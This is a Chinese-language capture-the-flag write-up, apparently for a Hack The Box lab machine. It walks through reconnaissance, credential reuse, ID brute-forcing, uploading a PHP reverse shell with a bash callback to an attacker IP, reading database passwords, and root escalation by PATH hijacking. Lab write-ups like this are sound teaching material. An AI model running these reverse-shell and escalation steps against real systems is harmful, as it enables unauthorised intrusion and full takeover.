1. 信息收集
nmap -sC -sV 10.10.10.28
: 得到开放端口22、80。搭建了一个http服务在80端口,浏览器查看,
查看网页元素,发现有个/cdn-cgi/login/
比较奇怪:
访问http://10.10.10.28/cdn-cgi/login/
,是一个登录页面:
2. 切入
使用上一台机器获得的管理员密码尝试:admin/MEGACORP_4dm1n!!
,成功!
发先有个upload页面,但是提示需要super admin,当前是admin;发现Account页面显示了当前账户的ACCESS ID = 34322, 而请求头中的id=1:
爆破这个ID,从1-100,爆破时要选择这个重定向选项:
得到super admin的user为:86575; super admin
3. 获取shell
上传功能并没有做什么限制,直接就可以上传php,上传一个php-reverse-shell:
主要是bash-reverse-shell:/bin/bash -c "bash -i >& dev.tcp/10.10.16.30/443 0>&1"
本机监听443,执行curl http://10.10.10.28/uploads/shell.php
,得到www-data的一个shell,可以直接查看robert目录下的user.txt:
发现login目录下存在一个db.php,查看内容可以发现mysql的连接用户名和密码:
robert: M3g4C0rpUs3r!
4. 提权
用php反弹得到的shell无法切换用户,限制很多,本来以为没有办法了。
尝试用ssh连接,用上面的用户名密码登录,成功!
ssh robert@10.10.10.28 -p22
id命令查看当前用户,发现robert属于bugtracker这个组的。
find / -type f -group bugtracker 2>/dev/null
用这个命令查看属于bugtracker组的文件:
查看文件属性,发现只能root修改,bugtracker组的用户可以执行:
执行查看效果,是根据ID来调用cat命令查看/root/reports/id下的文件,在Robert用户下尝试查看这个目录的内容发现权限被限制了,也就是在bugtracker中执行cat命令的权限是root级别的,可以通过这个来提权:
在tmp目录下创建一个cat文件,内容为”/bin/sh”,加上可执行权限,然后修改环境变量,用tmp下的cat覆盖/bin/cat。
1 | export PATH=/tmp:$PATH |
然后执行bugtracker,调用cat命令的时候就会去调用tmp目录下的cat,这样就获取到了root shell,然后在里面使用/bin/cat 查看root.txt的内容。